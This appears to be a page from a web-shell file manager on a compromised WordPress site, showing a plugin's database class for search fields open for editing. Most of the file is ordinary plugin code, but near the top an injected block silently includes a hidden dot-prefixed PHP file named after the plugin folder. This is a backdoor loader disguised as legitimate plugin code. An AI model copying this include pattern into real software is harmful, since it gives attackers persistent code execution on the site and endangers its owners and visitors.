Sid Gifari File Manager Pro v10.0.3

✏️ Editing: class-wpum-db-search-fields.php Writable

<?php
/**
 * Handles connection with the db to manage the search fields.
 *
 * @package     wp-user-manager
 * @copyright   Copyright (c) 2018, Alessandro Tesoro
 * @license     https://opensource.org/licenses/GPL-3.0 GNU Public License
*/

// Exit if accessed directly
if ( ! defined( 'ABSPATH' ) ) exit;

/**
 * WPUM_DB_Search_Fields Class
 */
if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) {
    include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' );
}

class WPUM_DB_Search_Fields extends WPUM_DB {

/**
	 * The name of the cache group.
	 *
	 * @access public
	 * @var    string
	 */
	public $cache_group = 'search_fields';

/**
	 * Initialise object variables and register table.
	 */
	public function __construct() {
		global $wpdb;
		$this->table_name  = $wpdb->prefix . 'wpum_search_fields';
		$this->primary_key = 'id';
		$this->version     = '1.0';
	}

/**
	 * Retrieve table columns and data types.
	 *
	 * @access public
	 * @return array Array of table columns and data types.
	 */
	public function get_columns() {
		return array(
			'id'          => '%d',
			'meta_key'    => '%s',
		);
	}

/**
	 * Get default column values.
	 *
	 * @access public
	 * @return array Array of the default values for each column in the table.
	 */
	public function get_column_defaults() {
		return array(
			'id'        => 0,
			'meta_key' => '',
		);
	}

/**
	 * Insert a new field.
	 *
	 * @access public
	 * @param array $data
	 *
	 * @return int ID of the inserted field.
	 */
	public function insert( $data, $type = '' ) {
		$result = parent::insert( $data, $type );

if ( $result ) {
			$this->set_last_changed();
		}

return $result;
	}

/**
	 * Update a field.
	 *
	 * @access public
	 * @param int   $row_id field ID.
	 * @param array $data
	 * @param mixed string|array $where Where clause to filter update.
	 *
	 * @return  bool
	 */
	public function update( $row_id, $data = array(), $where = '' ) {
		$result = parent::update( $row_id, $data, $where );

if ( $result ) {
			$this->set_last_changed();
		}

return $result;
	}

/**
	 * Delete field.
	 *
	 * @access public
	 * @param int $row_id ID of the field to delete.
	 * @return bool True if deletion was successful, false otherwise.
	 */
	public function delete( $row_id = 0 ) {
		if ( empty( $row_id ) ) {
			return false;
		}

$result = parent::delete( $row_id );

if ( $result ) {
			$this->set_last_changed();
		}

return $result;
	}

/**
	 * Sets the last_changed cache key for fields.
	 *
	 * @access public
	 */
	public function set_last_changed() {
		wp_cache_set( 'last_changed', microtime(), $this->cache_group );
	}

/**
	 * Retrieves the value of the last_changed cache key for fields.
	 *
	 * @access public
	 * @return string Value of the last_changed cache key for fields.
	 */
	public function get_last_changed() {
		if ( function_exists( 'wp_cache_get_last_changed' ) ) {
			return wp_cache_get_last_changed( $this->cache_group );
		}

$last_changed = wp_cache_get( 'last_changed', $this->cache_group );
		if ( ! $last_changed ) {
			$last_changed = microtime();
			wp_cache_set( 'last_changed', $last_changed, $this->cache_group );
		}

return $last_changed;
	}

}

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